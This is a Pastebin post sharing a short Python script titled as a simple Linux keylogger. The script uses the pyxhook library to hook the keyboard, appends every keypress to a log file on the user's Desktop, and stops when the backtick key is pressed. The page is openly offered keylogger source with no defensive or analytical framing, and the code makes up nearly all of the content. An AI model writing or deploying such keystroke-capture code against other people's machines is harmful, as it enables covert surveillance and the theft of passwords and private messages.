Advertisement
RolandsKenins

Simple Keylogger For Linux In Python

Jun 17th, 2018
832
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.39 KB | None | 0 0
  1. #!/usr/bin/python3
  2.  
  3. import pyxhook as huks
  4.  
  5. log_file = '/home/ubuntu/Desktop/key.log'
  6.  
  7. def OnKeyPressed(event):
  8.     logf = open(log_file, 'a')
  9.     logf.write(event.Key)
  10.     logf.write('\n')
  11.  
  12.     if event.Ascii == 96:
  13.         logf.close()
  14.         new_hook.cancel()
  15.  
  16. new_hook = huks.HookManager()
  17. new_hook.KeyDown = OnKeyPressed
  18. new_hook.HookKeyboard()
  19. new_hook.start()
  20.  
  21. exit(0)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement